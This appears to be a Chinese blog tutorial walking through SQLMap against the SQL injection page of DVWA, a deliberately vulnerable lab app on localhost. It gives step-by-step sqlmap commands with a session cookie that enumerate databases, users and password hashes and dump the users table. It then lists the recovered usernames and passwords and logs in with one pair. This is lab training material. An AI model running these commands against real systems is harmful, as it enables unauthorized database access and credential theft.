目录结构

一、测试需求分析
二、SQLMap利用SQL注入漏洞,获取数据库信息
1.判断是否存在注入点
2.获取DBMS中所有的数据库名称
3.获取Web应用当前连接的数据库
4.列出数据库中的所有用户
5.获取Web应用当前所操作的用户
6.列出可连接数据库的所有账户-对应的密码哈希
7.列出指定数据库中的所有数据表
8.列出指定数据表中的所有字段(列)
9.导出指定数据表中的列字段进行保存
10.根据导出的数据,验证数据有效性

一、测试需求分析

其前已经总结过SQLMap工具检测SQL注入漏洞的实践操作(SQLMap工具检测SQL注入漏洞、获取数据库中的数据),但当时是以未登录的身份直接可以获取并检测url场景,而本文则是针对需要登录之后才能获取到带参的被测url地址进行检测的应用场景。

二、SQLMap利用SQL注入漏洞,获取数据库信息

登录dvwa系统(admin--password),输入任意User ID进行提交,然后即可获取到提交时的url,此url可通过浏览器F12查看获取,也可通过抓包or拦截工具获取(如:Fiddler、BurpSuite)
Request URL: http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit

 (七)DVWA之SQL Injection--SQLMap测试(Low)-LMLPHP

1.判断是否存在注入点

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch

 (七)DVWA之SQL Injection--SQLMap测试(Low)-LMLPHP

直接对登录后获取的url进行检测,会302重定向跳转到登录时的url,说明检测的url需要带有登录权限才能验证,即SQLMap检测命令中需要带上登录dvwa后维持与服务器连接的cookie信息。

重新调整SQLMap检测命令,如下:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch

 (七)DVWA之SQL Injection--SQLMap测试(Low)-LMLPHP

2.获取DBMS中所有的数据库名称

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --dbs

(七)DVWA之SQL Injection--SQLMap测试(Low)-LMLPHP

3.获取Web应用当前连接的数据库

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --current-db

(七)DVWA之SQL Injection--SQLMap测试(Low)-LMLPHP

4.列出数据库中的所有用户

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --users

(七)DVWA之SQL Injection--SQLMap测试(Low)-LMLPHP

5.获取Web应用当前所操作的用户

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --current-user

 (七)DVWA之SQL Injection--SQLMap测试(Low)-LMLPHP

6.列出可连接数据库的所有账户-对应的密码哈希

此处列出的是连接数据库的账户信息
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --passwords

 (七)DVWA之SQL Injection--SQLMap测试(Low)-LMLPHP

7.列出指定数据库中的所有数据表

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch -D dvwa --tables

 (七)DVWA之SQL Injection--SQLMap测试(Low)-LMLPHP

8.列出指定数据表中的所有字段(列)

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch -D dvwa -T users --columns

 (七)DVWA之SQL Injection--SQLMap测试(Low)-LMLPHP

9.导出指定数据表中的列字段进行保存

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch -D dvwa -T users -C "user,password" --dump

 (七)DVWA之SQL Injection--SQLMap测试(Low)-LMLPHP

10.根据导出的数据,验证数据有效性

1337charley
adminpassword
gordonbabc123
pabloletmein
smithypassword

从以上导出的user---password组合中任取一组,回到前端登录界面进行验证

登录界面:http://localhost:8001/dvwa/login.php
用户密码:pablo---letmein

(七)DVWA之SQL Injection--SQLMap测试(Low)-LMLPHP

登录成功
05-20 04:36